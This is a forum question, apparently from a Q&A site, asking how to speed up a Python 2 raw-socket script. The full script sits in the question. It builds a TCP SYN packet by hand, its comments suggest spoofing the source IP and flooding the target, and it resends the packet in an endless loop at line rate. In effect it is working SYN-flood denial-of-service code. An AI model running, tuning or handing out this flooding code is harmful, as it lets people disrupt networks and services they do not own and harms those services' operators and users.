Increase sending speed of SYN packets in python script

Question

I am using raw sockets in python to resend SYN packets repeatedly at high speed for a project. I can send SYN at a speed of 120 Mbps using below python Script. Is there a way to optimize it to increase packet speed?

I think the processor is a bottleneck, since my NIC supports up to 1 Gb / s. I even create the package once and resubmit it again.

# some imports
import thread
import socket, sys
from struct import *
import time
import datetime as dt

def sendFunc(s, packet, dest_ip, sizeOfPacket):
    start_time = time.time()
    i = 0

    while(1):
            time_diff = time.time() - start_time
            i = i + 1
            if time_diff > 1:
                    start_time = time.time()
                    print i*sizeOfPacket
                    i = 0
            s.sendto(packet, (dest_ip , 0 ))    # put this in a loop if you want to flood the target

# checksum functions needed for calculation checksum
def checksum(msg):
    s = 0
    # loop taking 2 characters at a time
    for i in range(0, len(msg), 2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        s = s + w

    s = (s>>16) + (s & 0xffff);
    #s = s + (s >> 16);
    #complement and mask to 4 byte short
    s = ~s & 0xffff

    return s

#create a raw socket
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
    print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()

# tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# now start constructing the packet
packet = '';

source_ip = 'x.x.x.x'
dest_ip = 'y.y.y.y' # or socket.gethostbyname('www.google.com')

# ip header fields
ihl = 5
version = 4
tos = 0
tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??
id = 54321  #Id of this packet
frag_off = 0
ttl = 255
protocol = socket.IPPROTO_TCP
check = 10  # python seems to correctly fill the checksum
saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
daddr = socket.inet_aton ( dest_ip )

ihl_version = (version << 4) + ihl

# the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

# tcp header fields
source = 1234   # source port
dest = 80   # destination port
seq = 0
ack_seq = 0
doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
window = socket.htons (5840)    #   maximum allowed window size
check = 0
urg_ptr = 0

offset_res = (doff << 4) + 0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)

# the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)

# pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header)

psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header;

tcp_checksum = checksum(psh)

# make the tcp header again and fill the correct checksum
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)

# final full packet - syn packets dont have any data
packet = ip_header + tcp_header

#Send the packet finally - the port specified has no effect


print "size of packet", len(packet)

sendFunc(s, packet, dest_ip, len(packet))